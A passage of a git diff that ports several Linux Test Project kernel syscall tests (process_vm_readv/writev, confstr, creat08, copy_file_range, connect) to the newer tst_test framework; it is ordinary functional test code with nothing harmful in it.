-		tst_brkm(TBROK | TTERRNO, tst_exit, "process_vm_readv");
+	tst_res(TINFO, "child_read: reading string from same memory location");
 
-	/* verify every byte */
+	TST_EXP_POSITIVE(tst_syscall(__NR_process_vm_readv, pid_alloc, local,
+				     local_iovecs, remote, remote_iovecs, 0UL),
+			 "process_vm_read()");
+
+	if (TST_RET != buffsize) {
+		tst_brk(TBROK, "process_vm_readv: expected %d bytes but got %ld",
+			buffsize, TST_RET);
+	}
+
 	count = 0;
 	nr_error = 0;
-	for (i = 0; i < NUM_LOCAL_VECS; i++) {
+	for (i = 0; i < local_iovecs; i++) {
 		for (j = 0; j < (int)local[i].iov_len; j++) {
 			expect = count % 256;
 			actual = ((unsigned char *)local[i].iov_base)[j];
-			if (expect != actual) {
-#if DEBUG
-				tst_resm(TFAIL, "child 1: expected %i, got %i "
-					 "for byte seq %d",
-					 expect, actual, count);
-#endif
+			if (expect != actual)
 				nr_error++;
-			}
+
 			count++;
 		}
 	}
+
 	if (nr_error)
-		tst_brkm(TFAIL, tst_exit, "child 1: %d incorrect bytes "
-			 "received.", nr_error);
+		tst_brk(TFAIL, "child_read: %d incorrect bytes received", nr_error);
 	else
-		tst_resm(TPASS, "child 1: all bytes are correctly received.");
+		tst_res(TPASS, "child_read: all bytes are correctly received");
 }
 
 static void setup(void)
 {
-	tst_require_root();
+	tst_syscall(__NR_process_vm_readv, getpid(), NULL, 0UL, NULL, 0UL, 0UL);
 
-	/* Just a sanity check of the existence of syscall */
-	ltp_syscall(__NR_process_vm_readv, getpid(), NULL, 0UL, NULL, 0UL, 0UL);
-
-	nr_iovecs = nflag ? SAFE_STRTOL(NULL, nr_opt, 1, IOV_MAX) : 10;
-	bufsz = sflag ? SAFE_STRTOL(NULL, sz_opt, NUM_LOCAL_VECS, LONG_MAX)
-	    : 100000;
-
-	tst_tmpdir();
-	TST_CHECKPOINT_INIT(cleanup);
-	srand(time(NULL));
-
-	TEST_PAUSE;
+	data_ptr = SAFE_MMAP(NULL, sizeof(void *) * MAX_IOVECS, PROT_READ | PROT_WRITE,
+			     MAP_SHARED | MAP_ANONYMOUS, -1, 0);
 }
 
 static void cleanup(void)
 {
-	tst_rmdir();
+	if (data_ptr)
+		SAFE_MUNMAP(data_ptr, sizeof(void *) * MAX_IOVECS);
 }
 
-static void help(void)
+static void run(unsigned int i)
 {
-	printf("    -n NUM  Set the number of iovecs to be allocated.\n");
-	printf("    -s NUM  Set the size of total buffer size.\n");
+	int bufsize = testcases[i].bufsize;
+	int remote_iovecs = testcases[i].remote_iovecs;
+	int local_iovecs = testcases[i].local_iovecs;
+	pid_t pid_alloc;
+	pid_t pid_read;
+	int status;
+	int sizes[remote_iovecs];
+
+	tst_res(TINFO, "bufsize=%d, remote_iovecs=%d, local_iovecs=%d", bufsize,
+		remote_iovecs, local_iovecs);
+
+	create_data_size(sizes, remote_iovecs, bufsize);
+
+	pid_alloc = SAFE_FORK();
+	if (!pid_alloc) {
+		child_alloc(sizes, remote_iovecs);
+		return;
+	}
+
+	TST_CHECKPOINT_WAIT(0);
+
+	pid_read = SAFE_FORK();
+	if (!pid_read) {
+		child_read(sizes, local_iovecs, remote_iovecs, pid_alloc, bufsize);
+		return;
+	}
+
+	SAFE_WAITPID(pid_read, &status, 0);
+	if (!WIFEXITED(status) || WEXITSTATUS(status) != 0)
+		tst_res(TFAIL, "child_read: %s", tst_strstatus(status));
+
+	TST_CHECKPOINT_WAKE(0);
 }
+
+static struct tst_test test = {
+	.test = run,
+	.setup = setup,
+	.cleanup = cleanup,
+	.forks_child = 1,
+	.needs_checkpoints = 1,
+	.tcnt = ARRAY_SIZE(testcases),
+};
diff --git a/testcases/kernel/syscalls/cma/process_vm_writev02.c b/testcases/kernel/syscalls/cma/process_vm_writev02.c
index ea2ca63..991110d 100644
--- a/testcases/kernel/syscalls/cma/process_vm_writev02.c
+++ b/testcases/kernel/syscalls/cma/process_vm_writev02.c
@@ -1,205 +1,128 @@
+// SPDX-License-Identifier: GPL-2.0-or-later
 /*
  * Copyright (c) International Business Machines  Corp., 2012
  * Copyright (c) Linux Test Project, 2012
- *
- * This program is free software;  you can redistribute it and/or modify
- * it under the terms of the GNU General Public License as published by
- * the Free Software Foundation; either version 2 of the License, or
- * (at your option) any later version.
- *
- * This program is distributed in the hope that it will be useful,
- * but WITHOUT ANY WARRANTY;  without even the implied warranty of
- * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See
- * the GNU General Public License for more details.
- *
- * You should have received a copy of the GNU General Public License
- * along with this program;  if not, write to the Free Software
- * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
+ * Copyright (C) 2021 SUSE LLC Andrea Cervesato <andrea.cervesato@suse.com>
  */
 
-#define _GNU_SOURCE
+/*\
+ * [Description]
+ *
+ * Fork two children, the first one allocates a chunk of memory and the
+ * other one call process_vm_writev to write known data into the first
+ * child. Then first child verifies that the data is as expected.
+ */
+
+#include <stdlib.h>
 #include <sys/types.h>
 #include <sys/uio.h>
-#include <sys/wait.h>
-#include <errno.h>
-#include <stdio.h>
-#include <stdlib.h>
-#include <string.h>
-#include <unistd.h>
-#include <limits.h>
-
-#include "test.h"
-#include "safe_macros.h"
+#include "tst_test.h"
 #include "lapi/syscalls.h"
 
-char *TCID = "process_vm_writev02";
-int TST_TOTAL = 1;
+static uintptr_t *data_ptr;
+static char *str_buffsize;
+static int bufsize = 100000;
 
-#define PADDING_SIZE 10
-#define DEFAULT_CHAR 53
-
-static int sflag;
-static char *sz_opt;
-static option_t options[] = {
-	{"s:", &sflag, &sz_opt},
-	{NULL, NULL, NULL}
-};
-
-static long bufsz;
-static int pipe_fd[2];
-static pid_t pids[2];
-
-static void child_init_and_verify(void);
-static void child_write(void);
-static void setup(void);
-static void cleanup(void);
-static void help(void);
-
-int main(int argc, char **argv)
+static void child_alloc_and_verify(int buffsize)
 {
-	int lc, status;
+	char foo[buffsize];
+	int i;
+	int err;
 
-	tst_parse_opts(argc, argv, options, &help);
+	tst_res(TINFO, "child 0: allocate memory");
 
-	setup();
-	for (lc = 0; TEST_LOOPING(lc); lc++) {
-		tst_count = 0;
+	memset(foo, 'a', buffsize);
+	*data_ptr = (uintptr_t)foo;
 
-		SAFE_PIPE(cleanup, pipe_fd);
+	TST_CHECKPOINT_WAKE_AND_WAIT(0);
 
-		/* the start of child_init_and_verify and child_write is
-		 * already synchronized via pipe */
-		pids[0] = fork();
-		switch (pids[0]) {
-		case -1:
-			tst_brkm(TBROK | TERRNO, cleanup, "fork #0");
-		case 0:
-			child_init_and_verify();
-			exit(0);
-		default:
-			break;
-		}
+	err = 0;
+	for (i = 0; i < buffsize; i++)
+		if (foo[i] != 'w')
+			err++;
 
-		pids[1] = fork();
-		switch (pids[1]) {
-		case -1:
-			tst_brkm(TBROK | TERRNO, cleanup, "fork #1");
-		case 0:
-			child_write();
-			exit(0);
-		}
-
-		/* wait until child_write writes into
-		 * child_init_and_verify's VM */
-		SAFE_WAITPID(cleanup, pids[1], &status, 0);
-		if (!WIFEXITED(status) || WEXITSTATUS(status) != 0)
-			tst_resm(TFAIL, "child 1 returns %d", status);
-
-		/* signal child_init_and_verify to verify its VM now */
-		TST_SAFE_CHECKPOINT_WAKE(cleanup, 0);
-
-		SAFE_WAITPID(cleanup, pids[0], &status, 0);
-		if (!WIFEXITED(status) || WEXITSTATUS(status) != 0)
-			tst_resm(TFAIL, "child 0 returns %d", status);
-	}
-
-	cleanup();
-	tst_exit();
-}
-
-static void child_init_and_verify(void)
-{
-	unsigned char *foo;
-	char buf[bufsz];
-	long i, nr_err;
-
-	foo = SAFE_MALLOC(tst_exit, bufsz);
-	for (i = 0; i < bufsz; i++)
-		foo[i] = DEFAULT_CHAR;
-	tst_resm(TINFO, "child 0: memory allocated.");
-
-	/* passing addr of string "foo" via pipe */
-	SAFE_CLOSE(tst_exit, pipe_fd[0]);
-	snprintf(buf, bufsz, "%p", foo);
-	SAFE_WRITE(tst_exit, 1, pipe_fd[1], buf, strlen(buf) + 1);
-	SAFE_CLOSE(tst_exit, pipe_fd[1]);
-
-	/* wait until child_write() is done writing to our VM */
-	TST_SAFE_CHECKPOINT_WAIT(cleanup, 0);
-
-	nr_err = 0;
-	for (i = 0; i < bufsz; i++) {
-		if (foo[i] != i % 256) {
-#if DEBUG
-			tst_resm(TFAIL, "child 0: expected %i, got %i for "
-				 "byte seq %ld", i % 256, foo[i], i);
-#endif
-			nr_err++;
-		}
-	}
-	if (nr_err)
-		tst_brkm(TFAIL, tst_exit, "child 0: got %ld incorrect bytes.",
-			 nr_err);
+	if (err)
+		tst_res(TFAIL, "child 0: found %d differences from expected data", err);
 	else
-		tst_resm(TPASS, "child 0: all bytes are expected.");
+		tst_res(TPASS, "child 0: read back expected data");
 }
 
-static void child_write(void)
+static void child_write(int buffsize, pid_t pid_alloc)
 {
-	unsigned char *lp, *rp;
-	char buf[bufsz];
+	char lp[buffsize];
 	struct iovec local, remote;
-	long i;
 
-	/* get addr from pipe */
-	SAFE_CLOSE(tst_exit, pipe_fd[1]);
-	SAFE_READ(tst_exit, 0, pipe_fd[0], buf, bufsz);
-	SAFE_CLOSE(tst_exit, pipe_fd[0]);
-	if (sscanf(buf, "%p", &rp) != 1)
-		tst_brkm(TBROK | TERRNO, tst_exit, "sscanf");
+	tst_res(TINFO, "child 1: write to the same memory location");
 
-	lp = SAFE_MALLOC(tst_exit, bufsz + PADDING_SIZE * 2);
+	memset(lp, 'w', buffsize);
 
-	for (i = 0; i < bufsz + PADDING_SIZE * 2; i++)
-		lp[i] = DEFAULT_CHAR;
-	for (i = 0; i < bufsz; i++)
-		lp[i + PADDING_SIZE] = i % 256;
+	local.iov_base = lp;
+	local.iov_len = buffsize;
+	remote.iov_base = (void *)*data_ptr;
+	remote.iov_len = buffsize;
 
-	local.iov_base = lp + PADDING_SIZE;
-	local.iov_len = bufsz;
-	remote.iov_base = rp;
-	remote.iov_len = bufsz;
+	TST_EXP_POSITIVE(tst_syscall(__NR_process_vm_writev, pid_alloc, &local,
+				     1UL, &remote, 1UL, 0UL));
 
-	tst_resm(TINFO, "child 2: write to the same memory location.");
-	TEST(ltp_syscall(__NR_process_vm_writev, pids[0], &local,
-			 1UL, &remote, 1UL, 0UL));
-	if (TEST_RETURN != bufsz)
-		tst_brkm(TFAIL | TTERRNO, tst_exit, "process_vm_readv");
+	if (TST_RET != buffsize) {
+		tst_brk(TBROK, "process_vm_writev: expected %d bytes but got %ld",
+			buffsize, TST_RET);
+	}
 }
 
 static void setup(void)
 {
-	tst_require_root();
+	tst_syscall(__NR_process_vm_writev, getpid(), NULL, 0UL, NULL, 0UL, 0UL);
 
-	/* Just a sanity check of the existence of syscall */
-	ltp_syscall(__NR_process_vm_writev, getpid(), NULL, 0UL, NULL, 0UL, 0UL);
+	if (tst_parse_int(str_buffsize, &bufsize, 1, INT_MAX))
+		tst_brk(TBROK, "Invalid buffer size '%s'", str_buffsize);
 
-	bufsz =
-	    sflag ? SAFE_STRTOL(NULL, sz_opt, 1, LONG_MAX - PADDING_SIZE * 2)
-	    : 100000;
-
-	tst_tmpdir();
-	TST_CHECKPOINT_INIT(cleanup);
-
-	TEST_PAUSE;
+	data_ptr = SAFE_MMAP(NULL, sizeof(uintptr_t), PROT_READ | PROT_WRITE,
+			     MAP_SHARED | MAP_ANONYMOUS, -1, 0);
 }
 
 static void cleanup(void)
 {
-	tst_rmdir();
+	if (data_ptr)
+		SAFE_MUNMAP(data_ptr, sizeof(uintptr_t));
 }
 
-static void help(void)
+static void run(void)
 {
-	printf("    -s NUM  Set the size of total buffer size.\n");
+	pid_t pid_alloc;
+	pid_t pid_write;
+	int status;
+
+	pid_alloc = SAFE_FORK();
+	if (!pid_alloc) {
+		child_alloc_and_verify(bufsize);
+		return;
+	}
+
+	TST_CHECKPOINT_WAIT(0);
+
+	pid_write = SAFE_FORK();
+	if (!pid_write) {
+		child_write(bufsize, pid_alloc);
+		return;
+	}
+
+	SAFE_WAITPID(pid_write, &status, 0);
+	if (!WIFEXITED(status) || WEXITSTATUS(status) != 0)
+		tst_res(TFAIL, "write child: %s", tst_strstatus(status));
+
+	TST_CHECKPOINT_WAKE(0);
 }
+
+static struct tst_test test = {
+	.test_all = run,
+	.setup = setup,
+	.cleanup = cleanup,
+	.forks_child = 1,
+	.needs_checkpoints = 1,
+	.options =
+		(struct tst_option[]){
+			{ "s:", &str_buffsize, "Total buffer size (default 100000)" },
+			{},
+		},
+};
diff --git a/testcases/kernel/syscalls/confstr/confstr01.c b/testcases/kernel/syscalls/confstr/confstr01.c
index 0fc4c46..d5cb5a4 100644
--- a/testcases/kernel/syscalls/confstr/confstr01.c
+++ b/testcases/kernel/syscalls/confstr/confstr01.c
@@ -1,136 +1,84 @@
+// SPDX-License-Identifier: GPL-2.0-or-later
 /*
- *
- *   Copyright (c) International Business Machines  Corp., 2002
- *
- *   This program is free software;  you can redistribute it and/or modify
- *   it under the terms of the GNU General Public License as published by
- *   the Free Software Foundation; either version 2 of the License, or
- *   (at your option) any later version.
- *
- *   This program is distributed in the hope that it will be useful,
- *   but WITHOUT ANY WARRANTY;  without even the implied warranty of
- *   MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See
- *   the GNU General Public License for more details.
- *
- *   You should have received a copy of the GNU General Public License
- *   along with this program;  if not, write to the Free Software Foundation,
- *   Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
+ * Copyright (c) International Business Machines  Corp., 2002
+*  11/20/2002 Port to LTP <robbiew@us.ibm.com>
+*  06/30/2001 Port to Linux <nsharoff@us.ibm.com>
+ * Copyright (C) 2022 SUSE LLC Andrea Cervesato <andrea.cervesato@suse.com>
+ * Copyright (c) 2022 Petr Vorel <pvorel@suse.cz>
  */
 
-/* 11/20/2002	Port to LTP	robbiew@us.ibm.com */
-/* 06/30/2001	Port to Linux	nsharoff@us.ibm.com */
-
-/*
- * NAME
- *	confstr1.c - test for confstr(3C) - Get configuration-defined string
- *	values.
+/*\
+ * [Description]
  *
- * CALLS
- *	confstr(3C)
- *
- * RESTRICTIONS
- * MUST RUN AS ROOT
- *
+ * Test confstr(3) 700 (X/Open 7) functionality -- POSIX 2008.
  */
 
-#define _XOPEN_SOURCE 500
+#define _XOPEN_SOURCE 700
 
+#include <stdlib.h>
 #include <unistd.h>
-#include <stdio.h>
-#include <sys/types.h>
-#include <errno.h>
 
-#include "test.h"
-#include "safe_macros.h"
+#include "tst_test.h"
+
+#define PAIR(name) {_CS_ ## name, #name}
 
 static struct test_case_t {
 	int value;
 	char *name;
 } test_cases[] = {
-	{_CS_PATH, "PATH"},
-	{_CS_XBS5_ILP32_OFF32_CFLAGS, "XBS5_ILP32_OFF32_CFLAGS"},
-	{_CS_XBS5_ILP32_OFF32_LDFLAGS, "XBS5_ILP32_OFF32_LDFLAGS"},
-	{_CS_XBS5_ILP32_OFF32_LIBS, "XBS5_ILP32_OFF32_LIBS"},
-	{_CS_XBS5_ILP32_OFF32_LINTFLAGS, "XBS5_ILP32_OFF32_LINTFLAGS"},
-	{_CS_XBS5_ILP32_OFFBIG_CFLAGS, "XBS5_ILP32_OFFBIG_CFLAGS"},
-	{_CS_XBS5_ILP32_OFFBIG_LDFLAGS, "XBS5_ILP32_OFFBIG_LDFLAGS"},
-	{_CS_XBS5_ILP32_OFFBIG_LIBS, "XBS5_ILP32_OFFBIG_LIBS"},
-	{_CS_XBS5_ILP32_OFFBIG_LINTFLAGS, "XBS5_ILP32_OFFBIG_LINTFLAGS"},
-	{_CS_XBS5_LP64_OFF64_CFLAGS, "XBS5_LP64_OFF64_CFLAGS"},
-	{_CS_XBS5_LP64_OFF64_LDFLAGS, "XBS5_LP64_OFF64_LDFLAGS"},
-	{_CS_XBS5_LP64_OFF64_LIBS, "XBS5_LP64_OFF64_LIBS"},
-	{_CS_XBS5_LP64_OFF64_LINTFLAGS, "XBS5_LP64_OFF64_LINTFLAGS"},
-	{_CS_XBS5_LPBIG_OFFBIG_CFLAGS, "XBS5_LPBIG_OFFBIG_CFLAGS"},
-	{_CS_XBS5_LPBIG_OFFBIG_LDFLAGS, "XBS5_LPBIG_OFFBIG_LDFLAGS"},
-	{_CS_XBS5_LPBIG_OFFBIG_LIBS, "XBS5_LPBIG_OFFBIG_LIBS"},
-	{_CS_XBS5_LPBIG_OFFBIG_LINTFLAGS, "XBS5_LPBIG_OFFBIG_LINTFLAGS"},
-	{_CS_GNU_LIBC_VERSION, "GNU_LIBC_VERSION"},
-	{_CS_GNU_LIBPTHREAD_VERSION, "GNU_LIBPTHREAD_VERSION"},
+	PAIR(PATH),
+	PAIR(GNU_LIBC_VERSION),
+	PAIR(GNU_LIBPTHREAD_VERSION),
+	PAIR(POSIX_V7_ILP32_OFF32_CFLAGS),
+	PAIR(POSIX_V7_ILP32_OFF32_LDFLAGS),
+	PAIR(POSIX_V7_ILP32_OFF32_LIBS),
+	PAIR(POSIX_V7_ILP32_OFFBIG_CFLAGS),
+	PAIR(POSIX_V7_ILP32_OFFBIG_LDFLAGS),
+	PAIR(POSIX_V7_ILP32_OFFBIG_LIBS),
+	PAIR(POSIX_V7_LP64_OFF64_CFLAGS),
+	PAIR(POSIX_V7_LP64_OFF64_LDFLAGS),
+	PAIR(POSIX_V7_LP64_OFF64_LIBS),
+	PAIR(POSIX_V7_LPBIG_OFFBIG_CFLAGS),
+	PAIR(POSIX_V7_LPBIG_OFFBIG_LDFLAGS),
+	PAIR(POSIX_V7_LPBIG_OFFBIG_LIBS),
+#ifdef _CS_POSIX_V7_THREADS_CFLAGS
+	PAIR(POSIX_V7_THREADS_CFLAGS),
+#endif
+#ifdef _CS_POSIX_V7_THREADS_LDFLAGS
+	PAIR(POSIX_V7_THREADS_LDFLAGS),
+#endif
+	PAIR(POSIX_V7_WIDTH_RESTRICTED_ENVS),
+#ifdef _CS_V7_ENV
+	PAIR(V7_ENV),
+#endif
 };
 
-char *TCID = "confstr01";
-int TST_TOTAL = ARRAY_SIZE(test_cases);
-
-static void setup(void);
-static void cleanup(void);
-
-int main(int argc, char *argv[])
+static void run(unsigned int i)
 {
-	int lc;
-	int i;
 	char *buf;
 	int len;
 
-	tst_parse_opts(argc, argv, NULL, NULL);
+	TST_EXP_POSITIVE(confstr(test_cases[i].value, NULL, (size_t)0));
 
-	setup();
+	if (!TST_RET)
+		return;
 
-	for (lc = 0; TEST_LOOPING(lc); lc++) {
+	len = TST_RET;
+	buf = SAFE_MALLOC(len);
 
-		tst_count = 0;
+	TEST(confstr(test_cases[i].value, buf, len));
 
-		for (i = 0; i < TST_TOTAL; i++) {
-
-			TEST(confstr(test_cases[i].value, NULL, (size_t)0));
-
-			if (TEST_RETURN != 0) {
-				len = TEST_RETURN;
-				buf = SAFE_MALLOC(cleanup, len);
-				TEST(confstr(test_cases[i].value, buf, len));
-
-				if (TEST_RETURN != len || buf[len-1] != '\0') {
-					tst_brkm(TBROK, cleanup,
-						 "confstr :%s failed",
-						 test_cases[i].name);
-				} else {
-					tst_resm(TPASS, "confstr %s = '%s'",
-						 test_cases[i].name, buf);
-				}
-				free(buf);
-			} else {
-				if (TEST_ERRNO == EINVAL) {
-					tst_resm(TCONF,
-						 "confstr %s not supported",
-						 test_cases[i].name);
-				} else {
-					tst_resm(TFAIL,
-						 "confstr %s failed",
-						 test_cases[i].name);
-				}
-			}
-		}
+	if (buf[len - 1] != '\0') {
+		tst_brk(TFAIL, "confstr: %s, %s", test_cases[i].name,
+			tst_strerrno(TST_ERR));
+	} else {
+		tst_res(TPASS, "confstr %s = '%s'", test_cases[i].name, buf);
 	}
 
-	cleanup();
-
-	tst_exit();
+	free(buf);
 }
 
-static void setup(void)
-{
-	TEST_PAUSE;
-}
-
-static void cleanup(void)
-{
-}
+static struct tst_test test = {
+	.test = run,
+	.tcnt = ARRAY_SIZE(test_cases),
+};
diff --git a/testcases/kernel/syscalls/connect/connect01.c b/testcases/kernel/syscalls/connect/connect01.c
index 0d7d15a..1c1630f 100644
--- a/testcases/kernel/syscalls/connect/connect01.c
+++ b/testcases/kernel/syscalls/connect/connect01.c
@@ -129,7 +129,7 @@
 static int sys_connect(int sockfd, const struct sockaddr *addr,
 		socklen_t addrlen)
 {
-	return ltp_syscall(__NR_connect, sockfd, addr, addrlen);
+	return tst_syscall(__NR_connect, sockfd, addr, addrlen);
 }
 
 #define connect(sockfd, addr, addrlen) sys_connect(sockfd, addr, addrlen)
diff --git a/testcases/kernel/syscalls/copy_file_range/copy_file_range01.c b/testcases/kernel/syscalls/copy_file_range/copy_file_range01.c
index 7d27007..bbcb0ca 100644
--- a/testcases/kernel/syscalls/copy_file_range/copy_file_range01.c
+++ b/testcases/kernel/syscalls/copy_file_range/copy_file_range01.c
@@ -232,4 +232,5 @@
 	.all_filesystems = 1,
 	.test = copy_file_range_verify,
 	.test_variants = TEST_VARIANTS,
+	.max_runtime = 5
 };
diff --git a/testcases/kernel/syscalls/copy_file_range/copy_file_range03.c b/testcases/kernel/syscalls/copy_file_range/copy_file_range03.c
index 253eb57..21a5d55 100644
--- a/testcases/kernel/syscalls/copy_file_range/copy_file_range03.c
+++ b/testcases/kernel/syscalls/copy_file_range/copy_file_range03.c
@@ -12,26 +12,28 @@
 #define _GNU_SOURCE
 
 #include "tst_test.h"
+#include "tst_timer.h"
 #include "copy_file_range.h"
 
 static int fd_src;
 static int fd_dest;
 
-unsigned long get_timestamp(int fd)
+struct timespec get_timestamp(int fd)
 {
 	struct stat filestat;
 
 	fstat(fd, &filestat);
-	return filestat.st_mtime;
+	return filestat.st_mtim;
 }
 
 static void verify_copy_file_range_timestamp(void)
 {
 	loff_t offset;
-	unsigned long timestamp, updated_timestamp;
+	struct timespec timestamp1, timestamp2;
+	long long diff_us;
 
-	timestamp = get_timestamp(fd_dest);
-	usleep(1000000);
+	timestamp1 = get_timestamp(fd_dest);
+	usleep(1500000);
 
 	offset = 0;
 	TEST(sys_copy_file_range(fd_src, &offset,
@@ -40,12 +42,14 @@
 		tst_brk(TBROK | TTERRNO,
 				"copy_file_range unexpectedly failed");
 
-	updated_timestamp = get_timestamp(fd_dest);
+	timestamp2 = get_timestamp(fd_dest);
 
-	if (timestamp == updated_timestamp)
-		tst_brk(TFAIL, "copy_file_range did not update timestamp.");
+	diff_us = tst_timespec_diff_us(timestamp2, timestamp1);
 
-	tst_res(TPASS, "copy_file_range sucessfully updated the timestamp");
+	if (diff_us >= 1000000 && diff_us <= 30000000)
+		tst_res(TPASS, "copy_file_range sucessfully updated the timestamp");
+	else
+		tst_brk(TFAIL, "diff_us = %lld, copy_file_range might not update timestamp", diff_us);
 }
 
 static void cleanup(void)
diff --git a/testcases/kernel/syscalls/creat/.gitignore b/testcases/kernel/syscalls/creat/.gitignore
index a39e635..caafc02 100644
--- a/testcases/kernel/syscalls/creat/.gitignore
+++ b/testcases/kernel/syscalls/creat/.gitignore
@@ -6,3 +6,4 @@
 /creat07
 /creat07_child
 /creat08
+/creat09
diff --git a/testcases/kernel/syscalls/creat/creat07.c b/testcases/kernel/syscalls/creat/creat07.c
index 1e97794..7bd32ab 100644
--- a/testcases/kernel/syscalls/creat/creat07.c
+++ b/testcases/kernel/syscalls/creat/creat07.c
@@ -47,14 +47,12 @@
 	SAFE_WAITPID(pid, NULL, 0);
 }
 
-static const char *const resource_files[] = {
-	TEST_APP,
-	NULL,
-};
-
 static struct tst_test test = {
 	.test_all = verify_creat,
 	.needs_checkpoints = 1,
 	.forks_child = 1,
-	.resource_files = resource_files,
+	.resource_files = (const char *const []) {
+		TEST_APP,
+		NULL
+	}
 };
diff --git a/testcases/kernel/syscalls/creat/creat08.c b/testcases/kernel/syscalls/creat/creat08.c
index d22558a..91581db 100644
--- a/testcases/kernel/syscalls/creat/creat08.c
+++ b/testcases/kernel/syscalls/creat/creat08.c
@@ -1,456 +1,145 @@
+// SPDX-License-Identifier: GPL-2.0-or-later
 /*
- *
- *   Copyright (c) International Business Machines  Corp., 2002
- *
- *   This program is free software;  you can redistribute it and/or modify
- *   it under the terms of the GNU General Public License as published by
- *   the Free Software Foundation; either version 2 of the License, or
- *   (at your option) any later version.
- *
- *   This program is distributed in the hope that it will be useful,
- *   but WITHOUT ANY WARRANTY;  without even the implied warranty of
- *   MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See
- *   the GNU General Public License for more details.
- *
- *   You should have received a copy of the GNU General Public License
- *   along with this program;  if not, write to the Free Software
- *   Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
+ * Copyright (c) International Business Machines  Corp., 2002
+ *     Ported from SPIE by Airong Zhang <zhanga@us.ibm.com>
+ * Copyright (c) 2021 SUSE LLC <mdoucha@suse.cz>
  */
 
-/*
- * NAME
- *	creat08.c - Verifies that the group ID and setgid bit are
- *		   set correctly when a new file is created.
- *		   (ported from SPIE, section2/iosuite/creat5.c,
- *		    by Airong Zhang <zhanga@us.ibm.com>)
- * CALLS
- *	creat
+/*\
+ * [Description]
  *
- * ALGORITHM
- *	Create two directories, one with the group ID of this process
- *	and the setgid bit not set, and the other with a group ID
- *	other than that of this process and with the setgid bit set.
- *	In each directory, create a file with and without the setgid
- *	bit set in the creation modes. Verify that the modes and group
- *	ID are correct on each of the 4 files.
- *	As root, create a file with the setgid bit on in the
- *	directory with the setgid bit.
- *	This tests the SVID3 create group semantics.
- *
- * USAGE
- *	creat08
- *
- * RESTRICTIONS
- *
+ * Verify that the group ID and setgid bit are set correctly when a new file
+ * is created.
  */
 
-#include <stdio.h>		/* needed by testhead.h         */
+#include <stdlib.h>
 #include <sys/types.h>
-#include <sys/stat.h>
-#include <fcntl.h>
-#include <errno.h>
-#include <grp.h>
 #include <pwd.h>
-#include "test.h"
-#include "safe_macros.h"
+#include "tst_test.h"
+#include "tst_uid.h"
 
-char *TCID = "creat08";
-int TST_TOTAL = 1;
-int local_flag;
+#define MODE_RWX        0777
+#define MODE_SGID       (S_ISGID|0777)
 
-#define PASSED 1
-#define FAILED 0
+#define DIR_A		"dir_a"
+#define DIR_B		"dir_b"
+#define SETGID_A	DIR_A "/setgid"
+#define NOSETGID_A	DIR_A "/nosetgid"
+#define SETGID_B	DIR_B "/setgid"
+#define NOSETGID_B	DIR_B "/nosetgid"
+#define ROOT_SETGID	DIR_B "/root_setgid"
 
-#define MODE_RWX        (S_IRWXU|S_IRWXG|S_IRWXO)
-#define MODE_SGID       (S_ISGID|S_IRWXU|S_IRWXG|S_IRWXO)
-#define DIR_A_TEMP	"testdir.A.%d"
-#define DIR_B_TEMP	"testdir.B.%d"
-#define SETGID		"setgid"
-#define NOSETGID	"nosetgid"
-#define ROOT_SETGID	"root_setgid"
-#define	MSGSIZE		150
-
-static void tst_cleanup(void);
-static void cleanup(void);
-static void setup(void);
-
-static char DIR_A[MSGSIZE], DIR_B[MSGSIZE];
-static char setgid_A[MSGSIZE], nosetgid_A[MSGSIZE];
-static char setgid_B[MSGSIZE], nosetgid_B[MSGSIZE], root_setgid_B[MSGSIZE];
-
-int main(int ac, char **av)
-{
-	struct stat buf;
-	struct group *group;
-	struct passwd *user1;
-	gid_t group1_gid, group2_gid, mygid;
-	uid_t save_myuid, user1_uid;
-	pid_t mypid;
-
-	int fd;
-	int lc;
-
-	tst_parse_opts(ac, av, NULL, NULL);
-
-	setup();
-
-	for (lc = 0; TEST_LOOPING(lc); lc++) {
-
-		local_flag = PASSED;
-
-		save_myuid = getuid();
-		mypid = getpid();
-		sprintf(DIR_A, DIR_A_TEMP, mypid);
-		sprintf(DIR_B, DIR_B_TEMP, mypid);
-		sprintf(setgid_A, "%s/%s", DIR_A, SETGID);
-		sprintf(nosetgid_A, "%s/%s", DIR_A, NOSETGID);
-		sprintf(setgid_B, "%s/%s", DIR_B, SETGID);
-		sprintf(nosetgid_B, "%s/%s", DIR_B, NOSETGID);
-		sprintf(root_setgid_B, "%s/%s", DIR_B, ROOT_SETGID);
-
-		/* Get the uid of user1 */
-		if ((user1 = getpwnam("nobody")) == NULL) {
-			tst_brkm(TBROK | TERRNO, NULL,
-				 "getpwnam(\"nobody\") failed");
-		}
-
-		user1_uid = user1->pw_uid;
-
-		/*
-		 * Get the group IDs of group1 and group2.
-		 */
-		if ((group = getgrnam("nobody")) == NULL) {
-			if ((group = getgrnam("nogroup")) == NULL) {
-				tst_brkm(TBROK | TERRNO, cleanup,
-					 "getgrnam(\"nobody\") and "
-					 "getgrnam(\"nogroup\") failed");
-			}
-		}
-		group1_gid = group->gr_gid;
-		if ((group = getgrnam("bin")) == NULL) {
-			tst_brkm(TBROK | TERRNO, cleanup,
-				 "getgrnam(\"bin\") failed");
-		}
-		group2_gid = group->gr_gid;
-
-/*--------------------------------------------------------------*/
-/* Block0: Set up the parent directories			*/
-/*--------------------------------------------------------------*/
-		/*
-		 * Create a directory with group id the same as this process
-		 * and with no setgid bit.
-		 */
-		if (mkdir(DIR_A, MODE_RWX) == -1) {
-			tst_resm(TFAIL, "Creation of %s failed", DIR_A);
-			local_flag = FAILED;
-		}
-
-		if (chown(DIR_A, user1_uid, group2_gid) == -1) {
-			tst_resm(TFAIL, "Chown of %s failed", DIR_A);
-			local_flag = FAILED;
-		}
-
-		if (stat(DIR_A, &buf) == -1) {
-			tst_resm(TFAIL, "Stat of %s failed", DIR_A);
-			local_flag = FAILED;
-		}
-
-		/* Verify modes */
-		if (buf.st_mode & S_ISGID) {
-			tst_resm(TFAIL, "%s: Incorrect modes, setgid bit set",
-				 DIR_A);
-			local_flag = FAILED;
-		}
-
-		/* Verify group ID */
-		if (buf.st_gid != group2_gid) {
-			tst_resm(TFAIL, "%s: Incorrect group", DIR_A);
